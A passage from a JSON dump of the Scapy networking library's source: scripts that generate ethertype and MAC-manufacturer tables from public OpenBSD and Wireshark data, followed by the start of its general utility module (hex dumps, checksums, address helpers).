    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"Generate the ethertypes file (/etc/ethertypes) based on the OpenBSD source\nhttps://github.com/openbsd/src/blob/master/sys/net/ethertypes.h\n\nIt allows to have a file with the format of\nhttp://git.netfilter.org/ebtables/plain/ethertypes\nbut up-to-date.\n\"\"\"\n\nimport gzip\nimport re\nimport urllib.request\n\nfrom base64 import b85encode\nfrom scapy.error import log_loading\n\nURL = \"https://raw.githubusercontent.com/openbsd/src/master/sys/net/ethertypes.h\"  # noqa: E501\n\nwith urllib.request.urlopen(URL) as stream:\n    DATA = stream.read()\n\nreg = r\".*ETHERTYPE_([^\\s]+)\\s.0x([0-9A-Fa-f]+).*\\/\\*(.*)\\*\\/\"\nCOMPILED = \"\"\"#\n# Ethernet frame types\n#       This file describes some of the various Ethernet\n#       protocol types that are used on Ethernet networks.\n#\n# This list could be found on:\n#         http://www.iana.org/assignments/ethernet-numbers\n#         http://www.iana.org/assignments/ieee-802-numbers\n#\n# <name>    <hexnumber> <alias1>...<alias35> #Comment\n#\n\"\"\"\nALIASES = {\"IP\": \"IPv4\", \"IPV6\": \"IPv6\"}\n\nfor line in DATA.split(b\"\\n\"):\n    try:\n        match = re.match(reg, line.decode(\"utf8\", errors=\"backslashreplace\"))\n        if match:\n            name = match.group(1)\n            name = ALIASES.get(name, name).ljust(16)\n            number = match.group(2).upper()\n            comment = match.group(3).strip()\n            COMPILED += (\"%s%s\" + \" \" * 25 + \"# %s\\n\") % (name, number, comment)\n    except Exception:\n        log_loading.warning(\n            \"Couldn't parse one line from [%s] [%r]\", URL, line, exc_info=True\n        )\n\n# Compress properly\nCOMPILED = gzip.compress(COMPILED.encode())\n# Encode in Base85\nCOMPILED = b85encode(COMPILED).decode()\n# Split\nCOMPILED = \"\\n\".join(COMPILED[i : i + 79] for i in range(0, len(COMPILED), 79)) + \"\\n\"\n\nwith open(\"../libs/ethertypes.py\", \"r\") as inp:\n    data = inp.read()\n\nwith open(\"../libs/ethertypes.py\", \"w\") as out:\n    ini, sep, _ = data.partition(\"DATA = _d(\\\"\\\"\\\"\")\n    COMPILED = ini + sep + \"\\n\" + COMPILED + \"\\\"\\\"\\\")\\n\"\n    print(\"Written: %s\" % out.write(COMPILED))\n"
  },
  {
    "path": "scapy/tools/generate_manuf.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nGenerate the manuf.py file based on wireshark's manuf\n\"\"\"\n\nimport gzip\nimport urllib.request\n\nfrom base64 import b85encode\n\nURL = \"https://www.wireshark.org/download/automated/data/manuf\"\n\nwith urllib.request.urlopen(URL) as stream:\n    DATA = stream.read()\n\nCOMPILED = \"\"\n\nfor line in DATA.split(b\"\\n\"):\n    # We decode to strip any non-UTF8 characters.\n    line = line.strip().decode(\"utf8\", errors=\"backslashreplace\")\n    if not line or line.startswith(\"#\"):\n        continue\n    COMPILED += line + \"\\n\"\n\n# Compress properly\nCOMPILED = gzip.compress(COMPILED.encode())\n# Encode in Base85\nCOMPILED = b85encode(COMPILED).decode()\n# Split\nCOMPILED = \"\\n\".join(COMPILED[i : i + 79] for i in range(0, len(COMPILED), 79)) + \"\\n\"\n\n\nwith open(\"../libs/manuf.py\", \"r\") as inp:\n    data = inp.read()\n\nwith open(\"../libs/manuf.py\", \"w\") as out:\n    ini, sep, _ = data.partition(\"DATA = _d(\\\"\\\"\\\"\")\n    COMPILED = ini + sep + \"\\n\" + COMPILED + \"\\\"\\\"\\\")\\n\"\n    print(\"Written: %s\" % out.write(COMPILED))\n"
  },
  {
    "path": "scapy/tools/scapy_pyannotate.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nWrap Scapy's shell in pyannotate.\n\"\"\"\n\nimport os\nimport sys\nsys.path.insert(0, os.path.abspath('../../'))\n\nfrom pyannotate_runtime import collect_types  # noqa: E402\nfrom scapy.main import interact  # noqa: E402\n\ncollect_types.init_types_collection()\nwith collect_types.collect():\n    interact()\n\ncollect_types.dump_stats(\"pyannotate_results_main\")\n"
  },
  {
    "path": "scapy/utils.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nGeneral utility functions.\n\"\"\"\n\n\nfrom decimal import Decimal\nfrom io import StringIO\nfrom itertools import zip_longest\nfrom uuid import UUID\n\nimport argparse\nimport array\nimport collections\nimport decimal\nimport difflib\nimport enum\nimport gzip\nimport inspect\nimport locale\nimport math\nimport os\nimport random\nimport re\nimport shutil\nimport socket\nimport struct\nimport subprocess\nimport sys\nimport tempfile\nimport threading\nimport time\nimport traceback\nimport warnings\n\nfrom scapy.config import conf\nfrom scapy.consts import DARWIN, OPENBSD, WINDOWS\nfrom scapy.data import MTU, DLT_EN10MB, DLT_RAW\nfrom scapy.compat import (\n    orb,\n    plain_str,\n    chb,\n    hex_bytes,\n    bytes_encode,\n)\nfrom scapy.error import (\n    log_interactive,\n    log_runtime,\n    Scapy_Exception,\n    warning,\n)\nfrom scapy.pton_ntop import inet_pton\n\n# Typing imports\nfrom typing import (\n    Any,\n    AnyStr,\n    Callable,\n    cast,\n    Dict,\n    IO,\n    Iterator,\n    List,\n    Optional,\n    overload,\n    Tuple,\n    TYPE_CHECKING,\n    Type,\n    Union,\n)\nfrom scapy.compat import (\n    DecoratorCallable,\n    Literal,\n)\n\nif TYPE_CHECKING:\n    from scapy.packet import Packet\n    from scapy.plist import _PacketIterable, PacketList\n    from scapy.supersocket import SuperSocket\n    import prompt_toolkit\n\n_ByteStream = Union[IO[bytes], gzip.GzipFile]\n\n###########\n#  Tools  #\n###########\n\n\ndef issubtype(x,  # type: Any\n              t,  # type: Union[type, str]\n              ):\n    # type: (...) -> bool\n    \"\"\"issubtype(C, B) -> bool\n\n    Return whether C is a class and if it is a subclass of class B.\n    When using a tuple as the second argument issubtype(X, (A, B, ...)),\n    is a shortcut for issubtype(X, A) or issubtype(X, B) or ... (etc.).\n    \"\"\"\n    if isinstance(t, str):\n        return t in (z.__name__ for z in x.__bases__)\n    if isinstance(x, type) and issubclass(x, t):\n        return True\n    return False\n\n\n_Decimal = Union[Decimal, int]\n\n\nclass EDecimal(Decimal):\n    \"\"\"Extended Decimal\n\n    This implements arithmetic and comparison with float for\n    backward compatibility\n    \"\"\"\n\n    def __add__(self, other, context=None):\n        # type: (_Decimal, Any) -> EDecimal\n        return EDecimal(Decimal.__add__(self, Decimal(other)))\n\n    def __radd__(self, other):\n        # type: (_Decimal) -> EDecimal\n        return EDecimal(Decimal.__add__(self, Decimal(other)))\n\n    def __sub__(self, other):\n        # type: (_Decimal) -> EDecimal\n        return EDecimal(Decimal.__sub__(self, Decimal(other)))\n\n    def __rsub__(self, other):\n        # type: (_Decimal) -> EDecimal\n        return EDecimal(Decimal.__rsub__(self, Decimal(other)))\n\n    def __mul__(self, other):\n        # type: (_Decimal) -> EDecimal\n        return EDecimal(Decimal.__mul__(self, Decimal(other)))\n\n    def __rmul__(self, other):\n        # type: (_Decimal) -> EDecimal\n        return EDecimal(Decimal.__mul__(self, Decimal(other)))\n\n    def __truediv__(self, other):\n        # type: (_Decimal) -> EDecimal\n        return EDecimal(Decimal.__truediv__(self, Decimal(other)))\n\n    def __floordiv__(self, other):\n        # type: (_Decimal) -> EDecimal\n        return EDecimal(Decimal.__floordiv__(self, Decimal(other)))\n\n    def __divmod__(self, other):\n        # type: (_Decimal) -> Tuple[EDecimal, EDecimal]\n        r = Decimal.__divmod__(self, Decimal(other))\n        return EDecimal(r[0]), EDecimal(r[1])\n\n    def __mod__(self, other):\n        # type: (_Decimal) -> EDecimal\n        return EDecimal(Decimal.__mod__(self, Decimal(other)))\n\n    def __rmod__(self, other):\n        # type: (_Decimal) -> EDecimal\n        return EDecimal(Decimal.__rmod__(self, Decimal(other)))\n\n    def __pow__(self, other, modulo=None):\n        # type: (_Decimal, Optional[_Decimal]) -> EDecimal\n        return EDecimal(Decimal.__pow__(self, Decimal(other), modulo))\n\n    def __eq__(self, other):\n        # type: (Any) -> bool\n        if isinstance(other, Decimal):\n            return super(EDecimal, self).__eq__(other)\n        else:\n            return bool(float(self) == other)\n\n    def normalize(self, precision):  # type: ignore\n        # type: (int) -> EDecimal\n        with decimal.localcontext() as ctx:\n            ctx.prec = precision\n            return EDecimal(super(EDecimal, self).normalize(ctx))\n\n\n@overload\ndef get_temp_file(keep, autoext, fd):\n    # type: (bool, str, Literal[True]) -> IO[bytes]\n    pass\n\n\n@overload\ndef get_temp_file(keep=False, autoext=\"\", fd=False):\n    # type: (bool, str, Literal[False]) -> str\n    pass\n\n\ndef get_temp_file(keep=False, autoext=\"\", fd=False):\n    # type: (bool, str, bool) -> Union[IO[bytes], str]\n    \"\"\"Creates a temporary file.\n\n    :param keep: If False, automatically delete the file when Scapy exits.\n    :param autoext: Suffix to add to the generated file name.\n    :param fd: If True, this returns a file-like object with the temporary\n               file opened. If False (default), this returns a file path.\n    \"\"\"\n    f = tempfile.NamedTemporaryFile(prefix=\"scapy\", suffix=autoext,\n                                    delete=False)\n    if not keep:\n        conf.temp_files.append(f.name)\n\n    if fd:\n        return f\n    else:\n        # Close the file so something else can take it.\n        f.close()\n        return f.name\n\n\ndef get_temp_dir(keep=False):\n    # type: (bool) -> str\n    \"\"\"Creates a temporary file, and returns its name.\n\n    :param keep: If False (default), the directory will be recursively\n                 deleted when Scapy exits.\n    :return: A full path to a temporary directory.\n    \"\"\"\n\n    dname = tempfile.mkdtemp(prefix=\"scapy\")\n\n    if not keep:\n        conf.temp_files.append(dname)\n\n    return dname\n\n\ndef _create_fifo() -> Tuple[str, Any]:\n    \"\"\"Creates a temporary fifo.\n\n    You must then use open_fifo() on the server_fd once\n    the client is connected to use it.\n\n    :returns: (client_file, server_fd)\n    \"\"\"\n    if WINDOWS:\n        from scapy.arch.windows.structures import _get_win_fifo\n        return _get_win_fifo()\n    else:\n        f = get_temp_file()\n        os.unlink(f)\n        os.mkfifo(f)\n        return f, f\n\n\ndef _open_fifo(fd: Any, mode: str = \"rb\") -> IO[bytes]:\n    \"\"\"Open the server_fd (see create_fifo)\n    \"\"\"\n    if WINDOWS:\n        from scapy.arch.windows.structures import _win_fifo_open\n        return _win_fifo_open(fd)\n    else:\n        return open(fd, mode)\n\n\ndef sane(x, color=False):\n    # type: (AnyStr, bool) -> str\n    r = \"\"\n    for i in x:\n        j = orb(i)\n        if (j < 32) or (j >= 127):\n            if color:\n                r += conf.color_theme.not_printable(\".\")\n            else:\n                r += \".\"\n        else:\n            r += chr(j)\n    return r\n\n\n@conf.commands.register\ndef restart():\n    # type: () -> None\n    \"\"\"Restarts scapy\"\"\"\n    if not conf.interactive or not os.path.isfile(sys.argv[0]):\n        raise OSError(\"Scapy was not started from console\")\n    if WINDOWS:\n        res_code = 1\n        try:\n            res_code = subprocess.call([sys.executable] + sys.argv)\n        finally:\n            os._exit(res_code)\n    os.execv(sys.executable, [sys.executable] + sys.argv)\n\n\ndef lhex(x):\n    # type: (Any) -> str\n    from scapy.volatile import VolatileValue\n    if isinstance(x, VolatileValue):\n        return repr(x)\n    if isinstance(x, int):\n        return hex(x)\n    if isinstance(x, tuple):\n        return \"(%s)\" % \", \".join(lhex(v) for v in x)\n    if isinstance(x, list):\n        return \"[%s]\" % \", \".join(lhex(v) for v in x)\n    return str(x)\n\n\n@conf.commands.register\ndef hexdump(p, dump=False):\n    # type: (Union[Packet, AnyStr], bool) -> Optional[str]\n    \"\"\"Build a tcpdump like hexadecimal view\n\n    :param p: a Packet\n    :param dump: define if the result must be printed or returned in a variable\n    :return: a String only when dump=True\n    \"\"\"\n    s = \"\"\n    x = bytes_encode(p)\n    x_len = len(x)\n    i = 0\n    while i < x_len:\n        s += \"%04x  \" % i\n        for j in range(16):\n            if i + j < x_len:\n                s += \"%02X \" % orb(x[i + j])\n            else:\n                s += \"   \"\n        s += \" %s\\n\" % sane(x[i:i + 16], color=True)\n        i += 16\n    # remove trailing \\n\n    s = s[:-1] if s.endswith(\"\\n\") else s\n    if dump:\n        return s\n    else:\n        print(s)\n        return None\n\n\n@conf.commands.register\ndef linehexdump(p, onlyasc=0, onlyhex=0, dump=False):\n    # type: (Union[Packet, AnyStr], int, int, bool) -> Optional[str]\n    \"\"\"Build an equivalent view of hexdump() on a single line\n\n    Note that setting both onlyasc and onlyhex to 1 results in a empty output\n\n    :param p: a Packet\n    :param onlyasc: 1 to display only the ascii view\n    :param onlyhex: 1 to display only the hexadecimal view\n    :param dump: print the view if False\n    :return: a String only when dump=True\n    \"\"\"\n    s = \"\"\n    s = hexstr(p, onlyasc=onlyasc, onlyhex=onlyhex, color=not dump)\n    if dump:\n        return s\n    else:\n        print(s)\n        return None\n\n\n@conf.commands.register\ndef chexdump(p, dump=False):\n    # type: (Union[Packet, AnyStr], bool) -> Optional[str]\n    \"\"\"Build a per byte hexadecimal representation\n\n    Example:\n        >>> chexdump(IP())\n        0x45, 0x00, 0x00, 0x14, 0x00, 0x01, 0x00, 0x00, 0x40, 0x00, 0x7c, 0xe7, 0x7f, 0x00, 0x00, 0x01, 0x7f, 0x00, 0x00, 0x01  # noqa: E501\n\n    :param p: a Packet\n    :param dump: print the view if False\n    :return: a String only if dump=True\n    \"\"\"\n    x = bytes_encode(p)\n    s = \", \".join(\"%#04x\" % orb(x) for x in x)\n    if dump:\n        return s\n    else:\n        print(s)\n        return None\n\n\n@conf.commands.register\ndef hexstr(p, onlyasc=0, onlyhex=0, color=False):\n    # type: (Union[Packet, AnyStr], int, int, bool) -> str\n    \"\"\"Build a fancy tcpdump like hex from bytes.\"\"\"\n    x = bytes_encode(p)\n    s = []\n    if not onlyasc:\n        s.append(\" \".join(\"%02X\" % orb(b) for b in x))\n    if not onlyhex:\n        s.append(sane(x, color=color))\n    return \"  \".join(s)\n\n\ndef repr_hex(s):\n    # type: (bytes) -> str\n    \"\"\" Convert provided bitstring to a simple string of hex digits \"\"\"\n    return \"\".join(\"%02x\" % orb(x) for x in s)\n\n\n@conf.commands.register\ndef hexdiff(\n    a: Union['Packet', AnyStr],\n    b: Union['Packet', AnyStr],\n    algo: Optional[str] = None,\n    autojunk: bool = False,\n) -> None:\n    \"\"\"\n    Show differences between 2 binary strings, Packets...\n\n    Available algorithms:\n        - wagnerfischer: Use the Wagner and Fischer algorithm to compute the\n          Levenstein distance between the strings then backtrack.\n        - difflib: Use the difflib.SequenceMatcher implementation. This based on a\n          modified version of the Ratcliff and Obershelp algorithm.\n          This is much faster, but far less accurate.\n          https://docs.python.org/3.8/library/difflib.html#difflib.SequenceMatcher\n\n    :param a:\n    :param b: The binary strings, packets... to compare\n    :param algo: Force the algo to be 'wagnerfischer' or 'difflib'.\n                 By default, this is chosen depending on the complexity, optimistically\n                 preferring wagnerfischer unless really necessary.\n    :param autojunk: (difflib only) See difflib documentation.\n    \"\"\"\n    xb = bytes_encode(a)\n    yb = bytes_encode(b)\n\n    if algo is None:\n        # Choose the best algorithm\n        complexity = len(xb) * len(yb)\n        if complexity < 1e7:\n            # Comparing two (non-jumbos) Ethernet packets is ~2e6 which is manageable.\n            # Anything much larger than this shouldn't be attempted by default.\n            algo = \"wagnerfischer\"\n            if complexity > 1e6:\n                log_interactive.info(\n                    \"Complexity is a bit high. hexdiff will take a few seconds.\"\n                )\n        else:\n            algo = \"difflib\"\n\n    backtrackx = []\n    backtracky = []\n\n    if algo == \"wagnerfischer\":\n        xb = xb[::-1]\n        yb = yb[::-1]\n\n        # costs for the 3 operations\n        INSERT = 1\n        DELETE = 1\n        SUBST = 1\n\n        # Typically, d[i,j] will hold the distance between\n        # the first i characters of xb and the first j characters of yb.\n        # We change the Wagner Fischer to also store pointers to all\n        # the intermediate steps taken while calculating the Levenstein distance.\n        d = {(-1, -1): (0, (-1, -1))}\n        for j in range(len(yb)):\n            d[-1, j] = (j + 1) * INSERT, (-1, j - 1)\n        for i in range(len(xb)):\n            d[i, -1] = (i + 1) * INSERT + 1, (i - 1, -1)\n\n        # Compute the Levenstein distance between the two strings, but\n        # store all the steps to be able to backtrack at the end.\n        for j in range(len(yb)):\n            for i in range(len(xb)):\n                d[i, j] = min(\n                    (d[i - 1, j - 1][0] + SUBST * (xb[i] != yb[j]), (i - 1, j - 1)),\n                    (d[i - 1, j][0] + DELETE, (i - 1, j)),\n                    (d[i, j - 1][0] + INSERT, (i, j - 1)),\n                )\n\n        # Iterate through the steps backwards to create the diff\n        i = len(xb) - 1\n        j = len(yb) - 1\n        while not (i == j == -1):\n            i2, j2 = d[i, j][1]\n            backtrackx.append(xb[i2 + 1:i + 1])\n            backtracky.append(yb[j2 + 1:j + 1])\n            i, j = i2, j2\n    elif algo == \"difflib\":\n        sm = difflib.SequenceMatcher(a=xb, b=yb, autojunk=autojunk)\n        xarr = [xb[i:i + 1] for i in range(len(xb))]\n        yarr = [yb[i:i + 1] for i in range(len(yb))]\n        # Iterate through opcodes to build the backtrack\n        for opcode in sm.get_opcodes():\n            typ, x0, x1, y0, y1 = opcode\n            if typ == 'delete':\n                backtrackx += xarr[x0:x1]\n                backtracky += [b''] * (x1 - x0)\n            elif typ == 'insert':\n                backtrackx += [b''] * (y1 - y0)\n                backtracky += yarr[y0:y1]\n            elif typ in ['equal', 'replace']:\n                backtrackx += xarr[x0:x1]\n                backtracky += yarr[y0:y1]\n        # Some lines may have been considered as junk. Check the sizes\n        if autojunk:\n            lbx = len(backtrackx)\n            lby = len(backtracky)\n            backtrackx += [b''] * (max(lbx, lby) - lbx)\n            backtracky += [b''] * (max(lbx, lby) - lby)\n    else:\n        raise ValueError(\"Unknown algorithm '%s'\" % algo)\n\n    # Print the diff\n\n    x = y = i = 0\n    colorize: Dict[int, Callable[[str], str]] = {\n        0: lambda x: x,\n        -1: conf.color_theme.left,\n        1: conf.color_theme.right\n    }\n\n    dox = 1\n    doy = 0\n    btx_len = len(backtrackx)\n    while i < btx_len:\n        linex = backtrackx[i:i + 16]\n        liney = backtracky[i:i + 16]\n        xx = sum(len(k) for k in linex)\n        yy = sum(len(k) for k in liney)\n        if dox and not xx:\n            dox = 0\n            doy = 1\n        if dox and linex == liney:\n            doy = 1\n\n        if dox:\n            xd = y\n            j = 0\n            while not linex[j]:\n                j += 1\n                xd -= 1\n            print(colorize[doy - dox](\"%04x\" % xd), end=' ')\n            x += xx\n            line = linex\n        else:\n            print(\"    \", end=' ')\n        if doy:\n            yd = y\n            j = 0\n            while not liney[j]:\n                j += 1\n                yd -= 1\n            print(colorize[doy - dox](\"%04x\" % yd), end=' ')\n            y += yy\n            line = liney\n        else:\n            print(\"    \", end=' ')\n\n        print(\" \", end=' ')\n\n        cl = \"\"\n        for j in range(16):\n            if i + j < min(len(backtrackx), len(backtracky)):\n                if line[j]:\n                    col = colorize[(linex[j] != liney[j]) * (doy - dox)]\n                    print(col(\"%02X\" % orb(line[j])), end=' ')\n                    if linex[j] == liney[j]:\n                        cl += sane(line[j], color=True)\n                    else:\n                        cl += col(sane(line[j]))\n                else:\n                    print(\"  \", end=' ')\n                    cl += \" \"\n            else:\n                print(\"  \", end=' ')\n            if j == 7:\n                print(\"\", end=' ')\n\n        print(\" \", cl)\n\n        if doy or not yy:\n            doy = 0\n            dox = 1\n            i += 16\n        else:\n            if yy:\n                dox = 0\n                doy = 1\n            else:\n                i += 16\n\n\nif struct.pack(\"H\", 1) == b\"\\x00\\x01\":  # big endian\n    checksum_endian_transform = lambda chk: chk  # type: Callable[[int], int]\nelse:\n    checksum_endian_transform = lambda chk: ((chk >> 8) & 0xff) | chk << 8\n\n\ndef checksum(pkt):\n    # type: (bytes) -> int\n    if len(pkt) % 2 == 1:\n        pkt += b\"\\0\"\n    s = sum(array.array(\"H\", pkt))\n    s = (s >> 16) + (s & 0xffff)\n    s += s >> 16\n    s = ~s\n    return checksum_endian_transform(s) & 0xffff\n\n\ndef _fletcher16(charbuf):\n    # type: (bytes) -> Tuple[int, int]\n    # This is based on the GPLed C implementation in Zebra <http://www.zebra.org/>  # noqa: E501\n    c0 = c1 = 0\n    for char in charbuf:\n        c0 += char\n        c1 += c0\n\n    c0 %= 255\n    c1 %= 255\n    return (c0, c1)\n\n\n@conf.commands.register\ndef fletcher16_checksum(binbuf):\n    # type: (bytes) -> int\n    \"\"\"Calculates Fletcher-16 checksum of the given buffer.\n\n       Note:\n       If the buffer contains the two checkbytes derived from the Fletcher-16 checksum  # noqa: E501\n       the result of this function has to be 0. Otherwise the buffer has been corrupted.  # noqa: E501\n    \"\"\"\n    (c0, c1) = _fletcher16(binbuf)\n    return (c1 << 8) | c0\n\n\n@conf.commands.register\ndef fletcher16_checkbytes(binbuf, offset):\n    # type: (bytes, int) -> bytes\n    \"\"\"Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string.\n\n       Including the bytes into the buffer (at the position marked by offset) the  # noqa: E501\n       global Fletcher-16 checksum of the buffer will be 0. Thus it is easy to verify  # noqa: E501\n       the integrity of the buffer on the receiver side.\n\n       For details on the algorithm, see RFC 2328 chapter 12.1.7 and RFC 905 Annex B.  # noqa: E501\n    \"\"\"\n\n    # This is based on the GPLed C implementation in Zebra <http://www.zebra.org/>  # noqa: E501\n    if len(binbuf) < offset:\n        raise Exception(\"Packet too short for checkbytes %d\" % len(binbuf))\n\n    binbuf = binbuf[:offset] + b\"\\x00\\x00\" + binbuf[offset + 2:]\n    (c0, c1) = _fletcher16(binbuf)\n\n    x = ((len(binbuf) - offset - 1) * c0 - c1) % 255\n\n    if (x <= 0):\n        x += 255\n\n    y = 510 - c0 - x\n\n    if (y > 255):\n        y -= 255\n    return chb(x) + chb(y)\n\n\ndef mac2str(mac):\n    # type: (str) -> bytes\n    return b\"\".join(chb(int(x, 16)) for x in plain_str(mac).split(':'))\n\n\ndef valid_mac(mac):\n    # type: (str) -> bool\n    try:\n        return len(mac2str(mac)) == 6\n    except ValueError:\n        pass\n    return False\n\n\ndef str2mac(s):\n    # type: (bytes) -> str\n    if isinstance(s, str):\n        return (\"%02x:\" * len(s))[:-1] % tuple(map(ord, s))\n    return (\"%02x:\" * len(s))[:-1] % tuple(s)\n\n\ndef randstring(length):\n    # type: (int) -> bytes\n    \"\"\"\n    Returns a random string of length (length >= 0)\n    \"\"\"\n    return b\"\".join(struct.pack('B', random.randint(0, 255))\n                    for _ in range(length))\n\n\ndef zerofree_randstring(length):\n    # type: (int) -> bytes\n    \"\"\"\n    Returns a random string of length (length >= 0) without zero in it.\n    \"\"\"\n    return b\"\".join(struct.pack('B', random.randint(1, 255))\n                    for _ in range(length))\n\n\ndef stror(s1, s2):\n    # type: (bytes, bytes) -> bytes\n    \"\"\"\n    Returns the binary OR of the 2 provided strings s1 and s2. s1 and s2\n    must be of same length.\n    \"\"\"\n    return b\"\".join(map(lambda x, y: struct.pack(\"!B\", x | y), s1, s2))\n\n\ndef strxor(s1, s2):\n    # type: (bytes, bytes) -> bytes\n    \"\"\"\n    Returns the binary XOR of the 2 provided strings s1 and s2. s1 and s2\n    must be of same length.\n    \"\"\"\n    return b\"\".join(map(lambda x, y: struct.pack(\"!B\", x ^ y), s1, s2))\n\n\ndef strand(s1, s2):\n    # type: (bytes, bytes) -> bytes\n    \"\"\"\n    Returns the binary AND of the 2 provided strings s1 and s2. s1 and s2\n    must be of same length.\n    \"\"\"\n    return b\"\".join(map(lambda x, y: struct.pack(\"!B\", x & y), s1, s2))\n\n\ndef strrot(s1, count, right=True):\n    # type: (bytes, int, bool) -> bytes\n    \"\"\"\n    Rotate the binary by 'count' bytes\n    \"\"\"\n    off = count % len(s1)\n    if right:\n        return s1[-off:] + s1[:-off]\n    else:\n        return s1[off:] + s1[:off]\n\n\n# Workaround bug 643005 : https://sourceforge.net/tracker/?func=detail&atid=105470&aid=643005&group_id=5470  # noqa: E501\ntry:\n    socket.inet_aton(\"255.255.255.255\")\nexcept socket.error:\n    def inet_aton(ip_string):\n        # type: (str) -> bytes\n        if ip_string == \"255.255.255.255\":\n            return b\"\\xff\" * 4\n        else:\n            return socket.inet_aton(ip_string)\nelse:\n    inet_aton = socket.inet_aton  # type: ignore\n\ninet_ntoa = socket.inet_ntoa\n\n\ndef atol(x):\n    # type: (str) -> int\n    try:\n        ip = inet_aton(x)\n    except socket.error:\n        raise ValueError(\"Bad IP format: %s\" % x)\n    return cast(int, struct.unpack(\"!I\", ip)[0])\n\n\ndef valid_ip(addr):\n    # type: (str) -> bool\n    try:\n        addr = plain_str(addr)\n    except UnicodeDecodeError:\n        return False\n    try:\n        atol(addr)\n    except (OSError, ValueError, socket.error):\n        return False\n    return True\n\n\ndef valid_net(addr):\n    # type: (str) -> bool\n    try:\n        addr = plain_str(addr)\n    except UnicodeDecodeError:\n        return False\n    if '/' in addr:\n        ip, mask = addr.split('/', 1)\n        return valid_ip(ip) and mask.isdigit() and 0 <= int(mask) <= 32\n    return valid_ip(addr)\n\n\ndef valid_ip6(addr):\n    # type: (str) -> bool\n    try:\n        addr = plain_str(addr)\n    except UnicodeDecodeError:\n        return False\n    try:\n        inet_pton(socket.AF_INET6, addr)\n    except socket.error:\n        return False\n    return True\n\n\ndef valid_net6(addr):\n    # type: (str) -> bool\n    try:\n        addr = plain_str(addr)\n    except UnicodeDecodeError:\n        return False\n    if '/' in addr:\n        ip, mask = addr.split('/', 1)\n        return valid_ip6(ip) and mask.isdigit() and 0 <= int(mask) <= 128\n    return valid_ip6(addr)\n\n\ndef ltoa(x):\n    # type: (int) -> str\n    return inet_ntoa(struct.pack(\"!I\", x & 0xffffffff))\n\n\ndef itom(x):\n    # type: (int) -> int\n    return (0xffffffff00000000 >> x) & 0xffffffff\n\n\ndef in4_cidr2mask(m):\n    # type: (int) -> bytes\n    \"\"\"\n    Return the mask (bitstring) associated with provided length\n    value. For instance if function is called on 20, return value is\n    b'\\xff\\xff\\xf0\\x00'.\n    \"\"\"\n    if m > 32 or m < 0:\n        raise Scapy_Exception(\"value provided to in4_cidr2mask outside [0, 32] domain (%d)\" % m)  # noqa: E501\n\n    return strxor(\n        b\"\\xff\" * 4,\n        struct.pack(\">I\", 2**(32 - m) - 1)\n    )\n\n\ndef in4_isincluded(addr, prefix, mask):\n    # type: (str, str, int) -> bool\n    \"\"\"\n    Returns True when 'addr' belongs to prefix/mask. False otherwise.\n    \"\"\"\n    temp = inet_pton(socket.AF_INET, addr)\n    pref = in4_cidr2mask(mask)\n    zero = inet_pton(socket.AF_INET, prefix)\n    return zero == strand(temp, pref)\n\n\ndef in4_ismaddr(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if provided address in printable format belongs to\n    allocated Multicast address space (224.0.0.0/4).\n    \"\"\"\n    return in4_isincluded(str, \"224.0.0.0\", 4)\n\n\ndef in4_ismlladdr(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if address belongs to link-local multicast address\n    space (224.0.0.0/24)\n    \"\"\"\n    return in4_isincluded(str, \"224.0.0.0\", 24)\n\n\ndef in4_ismgladdr(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if address belongs to global multicast address\n    space (224.0.1.0-238.255.255.255).\n    \"\"\"\n    return (\n        in4_isincluded(str, \"224.0.0.0\", 4) and\n        not in4_isincluded(str, \"224.0.0.0\", 24) and\n        not in4_isincluded(str, \"239.0.0.0\", 8)\n    )\n\n\ndef in4_ismlsaddr(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if address belongs to limited scope multicast address\n    space (239.0.0.0/8).\n    \"\"\"\n    return in4_isincluded(str, \"239.0.0.0\", 8)\n\n\ndef in4_isaddrllallnodes(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if address is the link-local all-nodes multicast\n    address (224.0.0.1).\n    \"\"\"\n    return (inet_pton(socket.AF_INET, \"224.0.0.1\") ==\n            inet_pton(socket.AF_INET, str))\n\n\ndef in4_getnsmac(a):\n    # type: (bytes) -> str\n    \"\"\"\n    Return the multicast mac address associated with provided\n    IPv4 address. Passed address must be in network format.\n    \"\"\"\n\n    return \"01:00:5e:%.2x:%.2x:%.2x\" % (a[1] & 0x7f, a[2], a[3])\n\n\ndef decode_locale_str(x):\n    # type: (bytes) -> str\n    \"\"\"\n    Decode bytes into a string using the system locale.\n    Useful on Windows where it can be unusual (e.g. cp1252)\n    \"\"\"\n    return x.decode(encoding=locale.getlocale()[1] or \"utf-8\", errors=\"replace\")\n\n\nclass ContextManagerSubprocess(object):\n    \"\"\"\n    Context manager that eases checking for unknown command, without\n    crashing.\n\n    Example:\n    >>> with ContextManagerSubprocess(\"tcpdump\"):\n    >>>     subprocess.Popen([\"tcpdump\", \"--version\"])\n    ERROR: Could not execute tcpdump, is it installed?\n\n    \"\"\"\n\n    def __init__(self, prog, suppress=True):\n        # type: (str, bool) -> None\n        self.prog = prog\n        self.suppress = suppress\n\n    def __enter__(self):\n        # type: () -> None\n        pass\n\n    def __exit__(self,\n                 exc_type,  # type: Optional[type]\n                 exc_value,  # type: Optional[Exception]\n                 traceback,  # type: Optional[Any]\n                 ):\n        # type: (...) -> Optional[bool]\n        if exc_value is None or exc_type is None:\n            return None\n        # Errored\n        if isinstance(exc_value, EnvironmentError):\n            msg = \"Could not execute %s, is it installed?\" % self.prog\n        else:\n            msg = \"%s: execution failed (%s)\" % (\n                self.prog,\n                exc_type.__class__.__name__\n            )\n        if not self.suppress:\n            raise exc_type(msg)\n        log_runtime.error(msg, exc_info=True)\n        return True  # Suppress the 